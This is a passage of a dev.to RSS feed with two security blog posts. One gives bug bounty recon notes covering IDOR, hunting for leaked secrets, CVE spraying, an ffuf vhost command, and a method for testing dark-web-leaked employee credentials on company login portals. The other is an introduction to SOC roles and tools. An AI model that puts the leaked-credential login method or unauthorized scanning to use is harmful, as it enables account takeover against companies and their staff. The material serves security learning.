&lt;strong&gt;Goal:&lt;/strong&gt; Test if by manipulating this identifier, you can access data belonging to other users or entities that you shouldn't have access to. The focus here is on authorization, not necessarily SQL injection (though that's also a risk).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Output:&lt;/strong&gt; &lt;em&gt;List of Attack Vectors Worth Your Time&lt;/em&gt;
&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;# Finding Bugs w/ Recon&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Using the gathered reconnaissance data with automation to find bugs, sometimes without extensive manual testing.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Leaked Secrets (In-App)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Input:&lt;/strong&gt; &lt;em&gt;URL Pointing to Live Web Application Worth Your Time&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Concept:&lt;/strong&gt; Finding sensitive data unintentionally exposed within the application's client-side resources or responses. Requires speed (report first) or creativity (find what others miss).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Examples:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;API Key in client-side JavaScript.&lt;/li&gt;
&lt;li&gt;Server responses returning excessive user data (e.g., password hashes, salts for all users).&lt;/li&gt;
&lt;li&gt;JWTs leaking the "seed" for randomness (allowing prediction).&lt;/li&gt;
&lt;li&gt;Sensitive chat messages stored in React State/Props visible via dev tools.&lt;/li&gt;
&lt;li&gt;Unobfuscated webpack revealing debug API endpoints.&lt;/li&gt;
&lt;li&gt;Plaintext credentials stored in &lt;code&gt;localStorage&lt;/code&gt; (e.g., a "fix" for session timeouts).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Output:&lt;/strong&gt; &lt;em&gt;Data Valuable to an Attacker&lt;/em&gt;
&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Leaked Secrets (Web Scraping)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Input:&lt;/strong&gt; &lt;em&gt;Company Name&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Concept:&lt;/strong&gt; Developers sometimes post code snippets or ask for help on public forums, accidentally leaking sensitive information or internal code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sources:&lt;/strong&gt; StackOverflow, Pastebin, public forums.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Output:&lt;/strong&gt; &lt;em&gt;Data Valuable to an Attacker&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Leaked Secrets (GitHub/GitLab)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Input:&lt;/strong&gt; &lt;em&gt;Company Name, Employee Names, Company GH Org&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Concept:&lt;/strong&gt; Finding sensitive data in public code repositories.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Methods:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Public Repo on Company's Official Org Account:&lt;/strong&gt; A repository that should be private but is accidentally public. Look for API keys, credentials, or internal logic that could be exploited.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repo on Software Engineer's Personal Account:&lt;/strong&gt; Developers might use personal accounts for company-related code (testing, side projects, unauthorized collaboration). Use LinkedIn to find engineers, then search for their GitHub/GitLab accounts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;String Search + Code Types:&lt;/strong&gt; Search all public repos for company names or apex domains, filtered by specific languages (e.g., &lt;code&gt;starbucks.com&lt;/code&gt; in &lt;code&gt;bash&lt;/code&gt; or &lt;code&gt;python&lt;/code&gt; scripts, hoping for hardcoded credentials).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;String Search + Wordlist:&lt;/strong&gt; Combine company/domain search with keywords like "password," "api_key," "secret."

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; Author's tool &lt;code&gt;R-s0n/Github_Brute-Dork&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Output:&lt;/strong&gt; &lt;em&gt;Data Valuable to an Attacker&lt;/em&gt;
&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;CVE Spraying&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Input:&lt;/strong&gt; &lt;em&gt;List of URLs Pointing to Live Web Applications&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Concept:&lt;/strong&gt; A Common Vulnerability and Exposure (CVE) is a publicly known vulnerability in specific software. CVE spraying involves testing many targets for a specific CVE or a set of CVEs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hunting Styles:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Recon Heavy:&lt;/strong&gt; Find attack vectors (domains, apps, infrastructure) that other researchers are missing, then scan these unique assets for existing CVEs using tools like Nuclei.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Future Bugs:&lt;/strong&gt;

&lt;ol&gt;
&lt;li&gt;A new CVE is announced (e.g., for an NPM package, cloud service, CMS like WordPress).&lt;/li&gt;
&lt;li&gt;Quickly build a way to test for this CVE (custom script or Nuclei template). The goal is to test for it on bug bounty programs before automated tools or other researchers do.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Both At Once (GOLD STANDARD):&lt;/strong&gt; The ideal is to find unique attack surfaces &lt;em&gt;and&lt;/em&gt; be among the first to test for newly disclosed CVEs on those surfaces.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Output:&lt;/strong&gt; &lt;em&gt;Valid CVE Found on Target's Attack Surface&lt;/em&gt;
&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;🔍 Reconnaissance Techniques (Additional/Overlooked - often from sources like Intigriti blog)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These are more specific or less common techniques to augment your recon.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;1. Custom Wordlists&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Improve brute-force attacks (directories, files, parameters) by using wordlists tailored to the target, rather than generic lists.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; &lt;strong&gt;CeWL&lt;/strong&gt; (crawls a site and generates a wordlist from its content).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Benefits:&lt;/strong&gt; More relevant findings, fewer unnecessary requests (less noise, less risk of WAF blocking).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;2. Virtual Host (VHost) Enumeration&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Discover web applications hosted on the same IP address but configured for different &lt;code&gt;Host&lt;/code&gt; headers. These might not be discoverable via DNS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Brute-force the &lt;code&gt;Host&lt;/code&gt; header with a list of potential hostnames (e.g., common subdomains, variations of the target name) while sending requests to a known IP of the target.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; &lt;strong&gt;Ffuf&lt;/strong&gt; (e.g., &lt;code&gt;ffuf -w vhost_wordlist.txt -H "Host: FUZZ.target.com" -u http://target_ip&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;3. Forced Browse with Different HTTP Methods&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Some endpoints might only be accessible or behave differently with specific HTTP methods (POST, PUT, DELETE, etc.) that are not typically used for Browse.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Approach:&lt;/strong&gt; Systematically test discovered endpoints with various HTTP methods.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;4. JavaScript File Monitoring&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Detect new API endpoints, parameters, or functionalities as they are added to JavaScript files over time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;strong&gt;Jsmon&lt;/strong&gt; (monitors JS files for changes and alerts you).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;5. Crawling with Different User-Agent Headers&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Some websites serve different content or have different interfaces for mobile devices, specific browsers, or search engine crawlers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Emulate various User-Agent strings (e.g., iPhone, Android browser, Googlebot) when crawling or interacting with the site.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;6. Favicon Hashing&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Identify related websites or assets that share the same favicon (the small icon displayed in browser tabs).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt;

&lt;ol&gt;
&lt;li&gt;Fetch the target's favicon file.&lt;/li&gt;
&lt;li&gt;Calculate its hash (e.g., MMH3 hash for Shodan).&lt;/li&gt;
&lt;li&gt;Search for this hash on platforms like Shodan (&lt;code&gt;http.favicon.hash:&amp;lt;hash&amp;gt;&lt;/code&gt;) or Censys.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;7. Analyzing Legacy JavaScript Files&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Old or archived versions of JavaScript files might contain deprecated API endpoints, comments, or sensitive information that has since been removed from live versions but might still be active on the backend.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Use the Wayback Machine (archive.org) to find historical versions of a site's JS files.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;Dark Web in Bug Bounty (Leveraging Cyber Threat Intelligence - CTI)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This section, attributed to "Mater," discusses using dark web intelligence.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Embracing CTI:&lt;/strong&gt; CTI involves collecting and analyzing information about cyber threats (actors, TTPs - Tactics, Techniques, and Procedures) to help organizations mitigate risks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Leveraging the Dark Web:&lt;/strong&gt; The dark web is a source for stolen data, hacking tools, and discussions among cybercriminals. Info-stealer malware often compromises accounts (including those of security researchers) and leaks credentials.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Practical Application in Bug Bounty Hunting (Mater's Methodology):&lt;/strong&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Email Enumeration:&lt;/strong&gt; Gather employee emails of the target company (e.g., using &lt;strong&gt;Hunter.io&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data Leak Investigation:&lt;/strong&gt; Search dark web forums, marketplaces, and Telegram channels for leaked credentials associated with these emails or the target company.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential Validation:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Identify login portals for the target company (e.g., VPN, admin panels, internal tools).&lt;/li&gt;
&lt;li&gt;Tools like &lt;strong&gt;Logsensor&lt;/strong&gt; (GitHub tool for searching logs for specific patterns, potentially to find where credentials might be used) can assist.&lt;/li&gt;
&lt;li&gt;Test the compromised credentials on these portals.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Access Exploitation:&lt;/strong&gt; If credentials work, attempt to access various portals to find vulnerabilities or sensitive data.&lt;/li&gt;

&lt;/ol&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Ethical Considerations:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Program Policies:&lt;/strong&gt; Not all bug bounty programs accept findings based on leaked credentials. Some might mark them as informational, duplicates, or out of scope (especially if the leak isn't directly the company's fault). Always check the program's policy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legal Boundaries:&lt;/strong&gt; Ensure all actions comply with legal and ethical standards. Accessing systems with credentials, even if found publicly, can be a gray area or illegal depending on jurisdiction and context if not explicitly authorized.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;Skills Checklist &amp;amp; Offensive Skills&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These are extensive lists of technologies, tools, and offensive techniques/vulnerability types.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Skills Checklist (Technologies):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; A self-assessment checklist for a bug bounty hunter to gauge their familiarity with building and securing a wide array of web technologies, frameworks (front-end and back-end), APIs, cloud platforms (AWS, Azure, GCP), CI/CD tools, infrastructure components, and security concepts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Content:&lt;/strong&gt; Covers HTML/CSS/JS basics, various programming languages (PHP, Ruby, Python, Java, Node.js), frameworks (React, Angular, Vue, Django, Spring, Express), API types (REST, GraphQL, SOAP), data formats (JSON, XML), authentication/authorization protocols (OAuth, JWT, SAML), security mechanisms (CSP, CORS), cloud services (S3, Lambda, IAM, VPC), containerization (Docker, Kubernetes), and much more.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implication:&lt;/strong&gt; The broader and deeper your knowledge of these technologies (from a developer's and a security perspective), the better equipped you are to find vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Offensive Skills (Tools/Techniques &amp;amp; Vulnerability Types):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; A self-assessment checklist for a bug bounty hunter to gauge their experience in "weaponizing" (i.e., actively exploiting or testing for) various vulnerabilities and using common offensive security tools.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Content:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability Types:&lt;/strong&gt; Covers the OWASP Top 10 and many more, including SQL Injection, XSS, CSRF, SSRF, LFI/RFI, Auth Bypass, IDOR, XXE, Business Logic Flaws, various injection types, insecure deserialization, misconfigurations, etc. It also includes more advanced concepts like race conditions, blind attacks, second-order injections, and cloud-specific vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Lists a vast array of popular security tools, including proxies (Burp Suite, ZAP), scanners (Nmap, Nikto, Nuclei), fuzzers (FFUF, Gobuster), recon tools (Amass, Sublist3r, Recon-ng), exploitation frameworks (Metasploit), password crackers (John the Ripper, Hashcat), web crawlers, API testing tools (Postman, Insomnia), cloud security tools (ScoutSuite, Prowler), and many more.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Implication:&lt;/strong&gt; Proficiency in these areas is essential for effectively finding and demonstrating the impact of vulnerabilities.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

</description>
      <category>bugbounty</category>
      <category>security</category>
    </item>
    <item>
      <title>BL-SOC01 - Jump Into SOC</title>
      <dc:creator>Trumpiter</dc:creator>
      <pubDate>Fri, 28 Feb 2025 02:48:12 +0000</pubDate>
      <link>https://dev.to/trumpiter/bl-soc01-jump-into-soc-j57</link>
      <guid>https://dev.to/trumpiter/bl-soc01-jump-into-soc-j57</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: A Security Operations Center (SOC) is a centralized unit that continuously monitors and defends an organization's information systems against cyber threats. Key roles within a SOC include SOC Analysts, Threat Hunters, Incident Responders, SOC Managers, and Security Engineers, each contributing to a robust cybersecurity posture. SOC Analysts are the first line of defense, responsible for monitoring security alerts and investigating potential threats. They utilize various security tools such as SIEM, EDR, and threat intelligence feeds to detect and analyze security incidents. Common mistakes made by SOC Analysts include over-reliance on single tools, hasty malware analysis, inadequate log analysis, and overlooking contextual information. Continuous learning and skill development are essential for SOC professionals to stay ahead of evolving cyber threats.&lt;/p&gt;




&lt;h1&gt;
  
  
  Table of content
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
Introduction to Security Operations Center (SOC)

&lt;ul&gt;
&lt;li&gt;SOC Roles and Responsibilities&lt;/li&gt;
&lt;li&gt;SOC Analyst&lt;/li&gt;
&lt;li&gt;Threat Hunter&lt;/li&gt;
&lt;li&gt;Incident Responder&lt;/li&gt;
&lt;li&gt;SOC Manager&lt;/li&gt;
&lt;li&gt;Security Engineer&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

SOC Analyst and Their Responsibilities

&lt;ul&gt;
&lt;li&gt;The Advantages of Being a SOC Analyst&lt;/li&gt;
&lt;li&gt;A Day in the Life of a SOC Analyst&lt;/li&gt;
&lt;li&gt;Operating Systems&lt;/li&gt;
&lt;li&gt;Networking&lt;/li&gt;
&lt;li&gt;Malware Analysis&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

Security Tools Used by SOC Analysts

&lt;ul&gt;
&lt;li&gt;SIEM (Security Information and Event Management)&lt;/li&gt;
&lt;li&gt;Log Management&lt;/li&gt;
&lt;li&gt;Endpoint Detection and Response (EDR)&lt;/li&gt;
&lt;li&gt;SOAR (Security Orchestration, Automation, and Response)&lt;/li&gt;
&lt;li&gt;Threat Intelligence Feeds&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

Common Mistakes Made by SOC Analysts

&lt;ul&gt;
&lt;li&gt;Over-reliance on VirusTotal Results&lt;/li&gt;
&lt;li&gt;Hasty Malware Analysis in a Sandbox&lt;/li&gt;
&lt;li&gt;Inadequate Log Analysis&lt;/li&gt;
&lt;li&gt;Overlooking VirusTotal Dates&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Conclusion&lt;/li&gt;

&lt;/ul&gt;

&lt;h1&gt;
  
  
  Introduction to Security Operations Center (SOC)
&lt;/h1&gt;

&lt;p&gt;A Security Operations Center (SOC) is a centralized unit that deals with security issues on an organizational and technical level. The primary goal of a SOC is to continuously monitor, detect, respond to, and mitigate cybersecurity threats to protect an organization's assets. SOC teams consist of various roles that work together to ensure a robust defense against cyber threats.&lt;/p&gt;

&lt;h2&gt;
  
  
  SOC Roles and Responsibilities
&lt;/h2&gt;

&lt;h3&gt;
  
  
  SOC Analyst
&lt;/h3&gt;

&lt;p&gt;A SOC Analyst is the first line of defense in a SOC. They are responsible for monitoring security alerts, investigating potential threats, and escalating incidents if necessary. SOC Analysts use security tools such as SIEM, EDR, and threat intelligence feeds to detect and analyze security threats.&lt;/p&gt;

&lt;h3&gt;
  
  
  Threat Hunter
&lt;/h3&gt;

&lt;p&gt;Threat Hunters proactively search for threats that might have evaded detection by automated security tools. They use advanced techniques such as behavioral analysis and forensic investigations to uncover hidden cyber threats within an organization’s network.&lt;/p&gt;

&lt;h3&gt;
  
  
  Incident Responder
&lt;/h3&gt;

&lt;p&gt;Incident Responders take immediate action when a security incident occurs. They analyze attack vectors, contain the threat, and implement remediation measures to prevent further damage. They work closely with SOC Analysts and Threat Hunters to respond effectively to incidents.&lt;/p&gt;

&lt;h3&gt;
  
  
  SOC Manager
&lt;/h3&gt;

&lt;p&gt;The SOC Manager oversees the entire SOC team, ensuring efficient operations, resource allocation, and incident handling. They establish security policies and collaborate with other departments to improve the organization’s security posture.&lt;/p&gt;

&lt;h3&gt;
  
  
  Security Engineer
&lt;/h3&gt;

&lt;p&gt;Security Engineers maintain and configure security tools, ensuring they function optimally. They develop detection rules, automate security tasks, and enhance the SOC’s capabilities by improving infrastructure and workflows.&lt;/p&gt;




&lt;h2&gt;
  
  
  SOC Analyst and Their Responsibilities
&lt;/h2&gt;

&lt;p&gt;A SOC Analyst is the first person to investigate threats to a system. If the situation demands it, they escalate incidents to their supervisors so they can mitigate threats. The SOC Analyst plays an important role on the SOC team because they are the first person to respond to a threat.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Advantages of Being a SOC Analyst
&lt;/h3&gt;

&lt;p&gt;Cyber threats and attack techniques evolve every day, making the role of a SOC Analyst dynamic and engaging. Analysts investigate different types of security incidents, ensuring that their work remains challenging and varied. Even though security products and operating systems remain constant, the nature of incidents differs, preventing monotony in daily tasks.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Day in the Life of a SOC Analyst
&lt;/h3&gt;

&lt;p&gt;A SOC Analyst’s daily tasks revolve around monitoring security alerts using a SIEM (Security Information and Event Management) system and determining which alerts require further investigation. They rely on various security tools such as Endpoint Detection and Response (EDR), Log Management, and SOAR to perform investigations and respond to threats.&lt;/p&gt;

&lt;p&gt;To excel as a SOC Analyst, one must develop several key skills:&lt;/p&gt;

&lt;h4&gt;
  
  
  Operating Systems
&lt;/h4&gt;

&lt;p&gt;Understanding how Windows and Linux operating systems work is essential for recognizing abnormal behavior. Knowing standard system processes helps differentiate between legitimate and malicious activity.&lt;/p&gt;

&lt;h4&gt;
  
  
  Networking
&lt;/h4&gt;

&lt;p&gt;SOC Analysts frequently deal with malicious IPs and URLs. They must confirm whether devices on the network are attempting to connect to those addresses and investigate potential data leaks. A strong grasp of networking concepts is necessary to analyze such threats effectively.&lt;/p&gt;

&lt;h4&gt;
  
  
  Malware Analysis
&lt;/h4&gt;

&lt;p&gt;When dealing with threats, analysts often encounter malware. Understanding how to analyze malicious software helps identify its purpose and whether it communicates with a command and control (C2) server. Even basic malware analysis skills can aid in responding to incidents.&lt;/p&gt;




&lt;h2&gt;
  
  
  Security Tools Used by SOC Analysts
&lt;/h2&gt;

&lt;h3&gt;
  
  
  SIEM (Security Information and Event Management)
&lt;/h3&gt;

&lt;p&gt;SIEM solutions collect and analyze security event data from multiple sources. They generate alerts based on suspicious activities and help SOC Analysts identify potential threats. Popular SIEM solutions include IBM QRadar, Splunk, ArcSight ESM, and FortiSIEM.&lt;/p&gt;

&lt;h3&gt;
  
  
  Log Management
&lt;/h3&gt;

&lt;p&gt;Log Management solutions centralize logs from different systems, making it easier to search and analyze security events. These solutions help SOC Analysts trace malicious activities, detect unauthorized access, and identify compromised systems.&lt;/p&gt;

&lt;h3&gt;
  
  
  Endpoint Detection and Response (EDR)
&lt;/h3&gt;

&lt;p&gt;EDR solutions provide real-time monitoring and threat detection for endpoint devices. They allow SOC Analysts to isolate compromised machines, analyze suspicious processes, and search for Indicators of Compromise (IOCs) across all endpoints.&lt;/p&gt;

&lt;h3&gt;
  
  
  SOAR (Security Orchestration, Automation, and Response)
&lt;/h3&gt;

&lt;p&gt;SOAR solutions integrate security tools to automate repetitive tasks and streamline incident response workflows. They allow analysts to use playbooks to ensure consistency in threat investigations.&lt;/p&gt;

&lt;h3&gt;
  
  
  Threat Intelligence Feeds
&lt;/h3&gt;

&lt;p&gt;Threat Intelligence Feeds provide up-to-date information about emerging threats, such as malware hashes, malicious IPs, and domains. Analysts use these feeds to cross-check potential threats and improve threat detection accuracy.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Mistakes Made by SOC Analysts
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Over-reliance on VirusTotal Results
&lt;/h3&gt;

&lt;p&gt;SOC Analysts sometimes assume that a file or URL is safe based solely on VirusTotal results. However, attackers use AV (Antivirus) bypass techniques, and some threats may not be detected. VirusTotal should be used as a supporting tool, not a definitive answer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hasty Malware Analysis in a Sandbox
&lt;/h3&gt;

&lt;p&gt;Some malware can detect sandbox environments and remain dormant to evade detection. Others may have delayed execution mechanisms. Analysts should allow sufficient time for analysis and, if possible, test malware in a real environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  Inadequate Log Analysis
&lt;/h3&gt;

&lt;p&gt;SOC Analysts should thoroughly investigate logs to determine if an attack has affected multiple systems. For example, if malware is detected on one device, analysts should check logs to see if other devices have communicated with the same malicious IP address.&lt;/p&gt;

&lt;h3&gt;
  
  
  Overlooking VirusTotal Dates
&lt;/h3&gt;

&lt;p&gt;If a hash or IP address has been flagged in VirusTotal, analysts should check when it was first reported. An IP address used for malicious activity months ago may now be assigned to a legitimate service.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The SOC is the backbone of an organization’s cybersecurity defenses. SOC Analysts play a critical role in identifying and mitigating threats using various security tools and techniques. By understanding the fundamentals of operating systems, networking, and malware analysis, analysts can effectively investigate incidents and respond to security threats. As cyber threats evolve, continuous learning and skill development are essential for SOC professionals to stay ahead of attackers.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://letsdefend.io/" rel="noopener noreferrer"&gt;LetsDefend&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>blueteam</category>
      <category>soc</category>
      <category>security</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
